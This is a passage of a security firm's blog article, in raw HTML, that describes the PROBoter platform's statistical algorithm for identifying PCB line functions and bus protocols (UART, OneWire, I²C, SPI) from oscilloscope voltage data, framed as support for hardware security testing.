&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">V:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">software&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;h2 id="time-invariant-protocol-identification">Time invariant protocol identification&lt;/h2>
&lt;p>Often, the missing knowledge about the communication protocols used on a Printed Circuit Board (PCB) is the only form of protection which prevents an attacker from decoding voltage signals into data for eavesdropping or injection of malicious data.&lt;/p>
&lt;p>This article introduces the algorithm of the &lt;strong>&amp;ldquo;Time Invariant Signal Analysis&amp;rdquo;&lt;/strong>, which the PROBoter uses to produce information on the functionality of the conducting paths identified on a PCB from passive eavesdropping. Using the gathered information, promising targets can be identified to perform a command injection or interact with a debug shell.&lt;/p>
&lt;p>The algorithm is mainly based on a statistical analysis of the voltage signal, which makes the analysis time invariant. The determined characteristics are evaluated for the identification of the functionality, the data transmission protocol and, in case of UART and SPI, the transmission parameters.&lt;/p>
&lt;p>Currently, the algorithm provides the following functionality:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>Identification of a line&amp;rsquo;s functionality from its voltage data, e.g., ground, voltage supply, communication control, clock line or data transmission&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Linking the datasets for synchronous data transmissions (consisting of a clock line and one or several data transmission lines)&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Discerning four types of protocols:&lt;/strong>
&lt;ul>
&lt;li>UART&lt;/li>
&lt;li>OneWire&lt;/li>
&lt;li>I²C&lt;/li>
&lt;li>SPI&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Identification of the used data transmission parameters for the following protocols:&lt;/strong>
&lt;ul>
&lt;li>UART
&lt;ul>
&lt;li>Baud rate&lt;/li>
&lt;li>Amount of data bits per frame&lt;/li>
&lt;li>Amount of stop bits per frame&lt;/li>
&lt;li>Usage of parity bit&lt;/li>
&lt;li>Identification if the signal line is inverted&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>SPI
&lt;ul>
&lt;li>Identification of the clock polarity&lt;/li>
&lt;li>Identification of the clock phase&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;p>The algorithm depends on frequent changes of the voltage states of the signals. Therefore, it works better with signals generated from real transmissions than signals based on theoretical edge cases with a low amount of changes.&lt;/p>
&lt;p>The following sections guide the reader through the steps performed by the PROBoter platform, from the generation of data, used evaluation methods, identification of the functionality and protocols, finishing with the output of the analysis. For details on the algorithm, please see the original Master thesis with the title &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Algorithm&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">bus&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">protocols.&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[1].&lt;/p>
&lt;h3 id="data-acquisition">Data acquisition&lt;/h3>
&lt;p>For the identification of the protocols, the PROBoter has been equipped with a digital oscilloscope. The two analog input channels of the oscilloscope are connected to the measurement probes of the PROBoter, which allows the free positioning of the probes on the PCB and measurement of the voltages during operation. The duration and time resolution of the measurement is defined by user input. The start of each measurement is synced with the moment of supplying the target PCB with power. This allows a correlation of events for the measurement of several voltage lines.&lt;/p>
&lt;p>For each measurement, the voltage data are stored as dataset in a list of values together with the time interval of the measurement. When all promising datasets were measured, the newly developed &lt;strong>&amp;ldquo;Time Invariant Signal Analysis&amp;rdquo;&lt;/strong> algorithm starts the evaluation.&lt;/p>
&lt;h3 id="evaluation-of-dataset-characteristics">Evaluation of dataset characteristics&lt;/h3>
&lt;p>For each of the measured datasets, prominent characteristics are initially identified. This evaluation process is performed in three analysis steps:&lt;/p>
&lt;ul>
&lt;li>Determination of characteristics of the voltage distribution&lt;/li>
&lt;li>Determination of characteristics for the durations of voltage states (after noise removal by using filters)
&lt;ul>
&lt;li>Generation of histograms from the state durations&lt;/li>
&lt;li>Performing a delta analysis&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Detection of repeating patterns&lt;/li>
&lt;/ul>
&lt;p>Subsequently, the algorithm uses these results to classify the functionality of the evaluated voltage signal, e.g.: ground, power supply or involved in data exchange.&lt;/p>
&lt;h4 id="analysis-of-the-voltage-distribution">Analysis of the Voltage Distribution&lt;/h4>
&lt;p>The first module of the algorithm uses the list of measured voltage levels to generate a histogram. From this it gets two characteristics for the voltage distribution:&lt;/p>
&lt;ol>
&lt;li>The algorithm succeeds to identify the most common voltage levels. These should be identical to the levels of the upper and lower voltage for a binary voltage signal.&lt;/li>
&lt;li>By the width of the voltage peaks, the algorithm gains information on the amount of voltage values around the upper and lower voltage level, and therefore the changing behavior for the voltage.&lt;/li>
&lt;/ol>
&lt;p>The amount and the width of the voltage peaks from the voltage histogram are first pieces of information which can be used for the identification of a voltage signal since they provide data on the most common voltage levels and change characteristics.&lt;/p>
&lt;h5 id="comparing-voltage-distribution-histograms">Comparing voltage distribution histograms&lt;/h5>
&lt;p>The following plot shows an exemplary voltage for an SPI transmission:
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI-signal_hue5ae3619b46976b884eb58d8620fd9a8_33587_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI-signal_hue5ae3619b46976b884eb58d8620fd9a8_33587_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI-signal_hue5ae3619b46976b884eb58d8620fd9a8_33587_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/SPI-signal.png"
width="526"
height="218"
alt="Voltages over time of an SPI transmission"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Voltages over time of an SPI transmission&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>The resulting histogram of occurring voltages for the SPI transmission shows transition voltages between the two dominant voltage levels.&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI-voltage_histogram_hu6b63f1dfdcb356d40e62c6cb7f41847c_33268_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI-voltage_histogram_hu6b63f1dfdcb356d40e62c6cb7f41847c_33268_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI-voltage_histogram_hu6b63f1dfdcb356d40e62c6cb7f41847c_33268_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/SPI-voltage_histogram.png"
width="509"
height="423"
alt="Voltage histogram of an SPI transmission."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Voltage histogram of an SPI transmission.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>For comparison, the signal for an UART transmission shows a stronger distinction between low and high voltage states.&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/UART-signal_hua2a0d59eeffbacb7335f58306c523198_39109_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/UART-signal_hua2a0d59eeffbacb7335f58306c523198_39109_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/UART-signal_hua2a0d59eeffbacb7335f58306c523198_39109_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/UART-signal.png"
width="523"
height="220"
alt="Voltages over time of an UART transmission."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Voltages over time of an UART transmission.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>In the histogram, this leads to a low amount to no transition voltage values.
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/UART-voltage_histogram_huc417945e015338363b715a79e2136814_31271_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/UART-voltage_histogram_huc417945e015338363b715a79e2136814_31271_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/UART-voltage_histogram_huc417945e015338363b715a79e2136814_31271_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/UART-voltage_histogram.png"
width="505"
height="411"
alt="Voltage histogram of an UART transmission."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Voltage histogram of an UART transmission.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;h4 id="event-interval-analysis">Event interval analysis&lt;/h4>
&lt;p>The second analysis step focuses on the evaluation of the durations of the voltage states. The algorithm identifies the moments for each voltage state change and calculates the durations of each state. Then, it uses this list of durations as input for the generation of histograms and a &amp;lsquo;delta analysis&amp;rsquo;. The following sections describe the process steps performed for the interval analysis.&lt;/p>
&lt;h5 id="finding-events">Finding events&lt;/h5>
&lt;p>For finding moments of events at which the voltage signal changes from an upper to a lower voltage state or vice versa, the definition of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.electronicshub.org/555-timer-as-schmitt-trigger/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Schmitt&lt;/span>
&lt;/a>&lt;a
href="https://www.electronicshub.org/555-timer-as-schmitt-trigger/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">triggers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is used. The Schmitt triggers are voltage limits set at 30% and 70% of the maximum voltage. When a voltage passes the 70% upwards or passes the 30% downward, the moment of passage shall act as significant trigger point.&lt;/p>
&lt;h5 id="generation-of-list-of-event-durations">Generation of List of Event Durations&lt;/h5>
&lt;p>To produce a statistical overview of voltage states durations, the algorithm marks each change of voltage state in a first run, producing an array of incidents, and calculates the time intervals and directions between two changes. The array comprises the shorter durations caused by signal activities as well as long durations caused by signal inactivity. The durations of inactivity can be larger than the durations of activity by several magnitudes while occurring more rarely.&lt;/p>
&lt;p>This list (hereinafter referred to as &amp;lsquo;interval array&amp;rsquo;) presents the central source of information for the following two analysis mechanisms: Incident histograms and the delta analysis, which are described in the following sections below.&lt;/p>
&lt;h5 id="generation-of-an-event-histogram">Generation of an Event Histogram&lt;/h5>
&lt;p>The algorithm produces histograms for single and for two consecutive voltage states (&amp;lsquo;single incident histogram&amp;rsquo; and &amp;lsquo;double incident histogram&amp;rsquo;).&lt;/p>
&lt;p>Denoting a significant voltage change as an &amp;ldquo;event&amp;rdquo;, the time interval between two of these incidents are plotted along the horizontal axis in nanoseconds, while the amount of intervals which feature this duration, are plotted along the vertical axis. Voltage states which are followed by a voltage increase are plotted along the positive vertical axis, while the voltage states which are followed by a voltage decrease are plotted along the negative vertical axis.&lt;/p>
&lt;p>The following is an incident histogram plot from a clock line which features high and low voltage states of quasi identical duration, leading to one significant peak for the positive and negative vertical axis each.&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_clock_hu1c7acbba68ff903c5823787e2327ef3e_24889_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_clock_hu1c7acbba68ff903c5823787e2327ef3e_24889_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_clock_hu1c7acbba68ff903c5823787e2327ef3e_24889_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_clock.png"
width="396"
height="277"
alt="Incident histogram of an SPI data signal."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Incident histogram of an SPI data signal.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>For comparison, the following is an incident histogram plot from a data transmission line, which features voltages states of varying durations.&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_data_hu89157555b7ad8cf4ea12cf2e513b75eb_27368_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_data_hu89157555b7ad8cf4ea12cf2e513b75eb_27368_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_data_hu89157555b7ad8cf4ea12cf2e513b75eb_27368_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_data.png"
width="389"
height="286"
alt="Incident histogram of an SPI data signal."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Incident histogram of an SPI data signal.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Finally, generating an incident histogram from the voltage data of a ground line does produce a noisy plot with high peaks for durations of
$t ≈ 0~\mathrm{ns}$.&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_noise2_hu34b942f614c7dbfa59947e1fe5a7aedd_35898_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_noise2_hu34b942f614c7dbfa59947e1fe5a7aedd_35898_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_noise2_hu34b942f614c7dbfa59947e1fe5a7aedd_35898_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/IncidentHistogram_noise2.png"
width="420"
height="310"
alt="Incident histogram of an SPI data signal."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Incident histogram of an SPI data signal.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>The first peak in the event histogram is a reoccurring significant duration. Usually, it is equivalent to the duration required to transmit a single bit. Thus, the duration at this first peak is expected to be the duration of one symbol.&lt;/p>
&lt;p>For the generation of a double incident histogram, the durations of two consecutive entries of the interval array are used. This double incident histogram then shows the sum of two durations, which generates a single peak e.g., for clock signals or protocols based on Pulse Width Modulation (PWM).&lt;/p>
&lt;p>The location and amount of peaks generate information about the repetition of events, which is used for the identification of the line&amp;rsquo;s functionality as well as the protocol type.&lt;/p>
&lt;h5 id="the-delta-analysis">The delta analysis&lt;/h5>
&lt;p>The delta analysis is a newly developed time-invariant method for finding reoccurring duration patterns. It bases on the mathematical foundations of Min-Plus and Max-Plus calculus [2], which Thiele et al. use for their description of tasks arriving at and being processed by an embedded system [3].&lt;/p>
&lt;p>The theory describes a sequence of arising events $r$ which occur within a time interval $[t, t + \Delta]$. Thus, the set of occurring events can be described as a function $r(t, t + \Delta)$. The minimum and maximum amount of events occurring within the interval $ \Delta $ can be enclosed by the two limiting functions $\alpha^u$ and $ \alpha^l $ for the upper and lower limit. Consequently:
$$\alpha^l(t, t + \Delta) \le r(t, t + \Delta) \le \alpha^u (t, t + \Delta).$$&lt;/p>
&lt;p>As shown in the following plot, identifying the minimum and maximum amount of events occurring within an increasing duration $\Delta t$, the amount of events increases when increasing the duration:&lt;/p>
&lt;figure
style="width: 63%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/rtc_explanation_hu5defc798631622d29cad182c57110407_14076_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/rtc_explanation_hu5defc798631622d29cad182c57110407_14076_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/rtc_explanation_hu5defc798631622d29cad182c57110407_14076_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/rtc_explanation.png"
width="734"
height="249"
alt="The figure shows a plot of the staircase functions which are based on the increasing amount of events."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
The figure shows a plot of the staircase functions which are based on the increasing amount of events.&lt;/figcaption>
&lt;/figure>
&lt;p>Mathematically, using a sliding window with the time interval $\delta^i$, $i=u,l$, the upper and lower amount of events $N^i$, $i=u,l$ found within this interval increases when the time interval gets increased.
&lt;figure
style="width: 63%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/rtc_lampka_hud04b7ad42cb808f8de5d70c10f6caf76_18495_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/rtc_lampka_hud04b7ad42cb808f8de5d70c10f6caf76_18495_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/rtc_lampka_hud04b7ad42cb808f8de5d70c10f6caf76_18495_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/rtc_lampka.png"
width="609"
height="349"
alt="The figure shows a plot of the staircase functions which are based on the increasing amount of events."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
The figure shows a plot of the staircase functions which are based on the increasing amount of events.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>For the PROBoter, the data contained in the interval array is used as input, since it contains the intervals between two changes of voltage states, which are also considered as events.&lt;/p>
&lt;p>Plotting the data results in staircase functions with short steps for short intervals between changes and prolonged steps for intervals without change events. Prolonged steps repeating after an amount of shorter steps are a clue for a repeating pattern of transmission pauses.&lt;/p>
&lt;p>The following is an exemplary plot of a SPI clock line which shows pauses between the transmission of data frames.&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI_transmission_blocks_U-t_huf445e91cf44e9732b96103a84ea6b962_50986_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI_transmission_blocks_U-t_huf445e91cf44e9732b96103a84ea6b962_50986_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/SPI_transmission_blocks_U-t_huf445e91cf44e9732b96103a84ea6b962_50986_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/SPI_transmission_blocks_U-t.png"
width="537"
height="220"
alt="Voltage-time plot of an SPI clock signal."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Voltage-time plot of an SPI clock signal.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>In the delta analysis plot below these lead to the prolonged steps in the delta analysis plot using the infimum amount of events:&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/Delta_analysis_rtc_hu271d1663bd4e89562f7da3d4b9517635_42973_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/Delta_analysis_rtc_hu271d1663bd4e89562f7da3d4b9517635_42973_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/Delta_analysis_rtc_hu271d1663bd4e89562f7da3d4b9517635_42973_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/Delta_analysis_rtc.png"
width="401"
height="342"
alt="Delta analysis plot of an SPI clock signal."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Delta analysis plot of an SPI clock signal.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;h4 id="pattern-analysis">Pattern analysis&lt;/h4>
&lt;p>Some transmission protocols contain a repeating pattern which is used for synchronization between the communication partners. In case of the UART protocol, this pattern consists of one or two stop bit voltage-states followed by a start bit voltage state.&lt;/p>
&lt;p>For a voltage signal, the occurrence of such a pattern can be unveiled by emphasizing the self-similarity of the signal. This is done by the autocorrelation function for a signal $r_{xx}$ consisting of $N$ values at index $m$:
$$r_{xx}[m] = \frac{1}{N-|{m}|}\sum_{n=|m|}^{N-1}x[n]\ x[n-|m|]$$&lt;/p>
&lt;p>A signal with an ideal repeating pattern creates high and regularly occurring peaks in the autocorrelation plot.&lt;/p>
&lt;p>Larger datasets contribute to a better distinction between peaks and background noise as shown in the following exemplary autocorrelation plot for an UART transmission:&lt;br>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/autocorrelationSlice_hu1f401812542f2e7a8d8150a9c991d6a4_47947_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/autocorrelationSlice_hu1f401812542f2e7a8d8150a9c991d6a4_47947_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/autocorrelationSlice_hu1f401812542f2e7a8d8150a9c991d6a4_47947_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/autocorrelationSlice.png"
width="428"
height="332"
alt="Autocorrelation plot for an UART transmission."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Autocorrelation plot for an UART transmission.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;h4 id="identification-of-the-signal-type">Identification of the signal type&lt;/h4>
&lt;p>For classifying the signal type for each dataset, the algorithm uses two sources of information: The extent of found voltage levels and the amount of reoccurring durations.&lt;/p>
&lt;p>In total, the algorithm discerns five types of signals:&lt;/p>
&lt;ol>
&lt;li>Signals with one elevated peak in the voltage histogram and only noise in the incident histogram usually occur for lines used as power supply.&lt;/li>
&lt;li>Signals with a peak at a low voltage in the voltage histogram and only noise in the incident histogram, probably stem from a ground connection.&lt;/li>
&lt;li>Signals with usually two peaks in the voltage histogram but no peaks in the incident histogram are considered as sporadic signals, which are used for communication control, as for deciding which partner is currently allowed to send messages on a data line.&lt;/li>
&lt;li>Signals with usually two peaks in the voltage histogram and a single positive and negative peak each in the incident histogram are considered as periodic signals, as typical for clock signals.&lt;/li>
&lt;li>Signals with usually two peaks in the voltage histogram and several peaks in the incident histogram are burst signals occurring often and irregularly, which are a typical behavior for the transmission of data.&lt;/li>
&lt;/ol>
&lt;h4 id="linking-of-datasets-from-synchronous-data-transmissions">Linking of datasets from synchronous data transmissions&lt;/h4>
&lt;p>For all the previously described analysis steps, the algorithm considered each dataset for itself. Since protocols like SPI and I²C do consist of a combination of a clock and data signals, the algorithm needs to link the involved datasets to a single signal group.&lt;/p>
&lt;p>The algorithm uses two lists for the linking process: A list containing the identified clock signals, and a list containing the identified data signals.&lt;/p>
&lt;p>To test if a data and a clock signal were generated from the same transmission, the algorithm uses two pieces of information from each dataset:&lt;/p>
&lt;ol>
&lt;li>The activities on the data line have to occur during the intervals of activities of the clock line,&lt;/li>
&lt;li>The duration of a symbol on the data line has to be similar to the duration of one signal period on the clock line.&lt;/li>
&lt;/ol>
&lt;figure
style="width: 60%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/signalGroupingAlgorithm_hu18c60bc42772f8304fc3b08367eacb8b_23509_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/signalGroupingAlgorithm_hu18c60bc42772f8304fc3b08367eacb8b_23509_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/signalGroupingAlgorithm_hu18c60bc42772f8304fc3b08367eacb8b_23509_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/signalGroupingAlgorithm.png"
width="1411"
height="610"
alt="Characteristics for linking datasets from a synchronous data transmission."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Characteristics for linking datasets from a synchronous data transmission.&lt;/figcaption>
&lt;/figure>
&lt;p>The data-datasets which have not been attributed to a synchronous transmission are expected to have been generated by an asynchronous transmission protocol, e.g., UART or OneWire.&lt;/p>
&lt;h3 id="protocol-identification--rating">Protocol Identification / Rating&lt;/h3>
&lt;p>To perform the protocol identification process, the algorithm compares the properties found in each signal group with a list of properties expected for each of the implemented protocol types (currently UART, OneWire, SPI and I²C).&lt;br>
The list of properties is based on the specifications of the used protocols. The properties used for the distinction of protocols are the:&lt;/p>
&lt;ul>
&lt;li>amount of involved datasets&lt;/li>
&lt;li>amount of dominant voltage levels&lt;/li>
&lt;li>occurring voltage range $U_{\mathrm{min}}$ &amp;hellip; $U_{\mathrm{max}}$&lt;/li>
&lt;li>steepness of voltage state transitions&lt;/li>
&lt;li>data transmission speed&lt;/li>
&lt;li>maximum duration for occurring voltages during signal transmission&lt;/li>
&lt;li>duration of transmission blocks&lt;/li>
&lt;li>occurrence or absence of a repeating (synchronization) pattern&lt;/li>
&lt;li>check for symmetry of the durations of high and low voltage states&lt;/li>
&lt;li>check if the duration of voltage states are an integer multiple of the duration of one symbol&lt;/li>
&lt;/ul>
&lt;p>The following table shows an overview of characteristics of the protocols implemented in the algorithm together with characteristics of additional protocols, which are also popular in the automotive field.
&lt;figure
style="width: 90%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/protocol_characteristics_overview_hu5ecc2c5e69fcd64abc7b846fb42347af_46459_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/protocol_characteristics_overview_hu5ecc2c5e69fcd64abc7b846fb42347af_46459_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-04/protocol_characteristics_overview_hu5ecc2c5e69fcd64abc7b846fb42347af_46459_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-04/protocol_characteristics_overview.png"
width="974"
height="745"
alt="Identified characteristics of the protocols."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Identified characteristics of the protocols.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>To identify the best fitting protocol, a counter is used. For each characteristic that is fulfilled by the measured data, the counter is increased; for each deviation, the value of the counter is reduced.&lt;/p>
&lt;p>If a protocol is implemented to contain a data and a clock line, the algorithm tries to evaluate the properties for each measured dataset contained in a data group; for a missing dataset, the counter is reduced to prevent an identification as incomplete transmission protocol.&lt;/p>
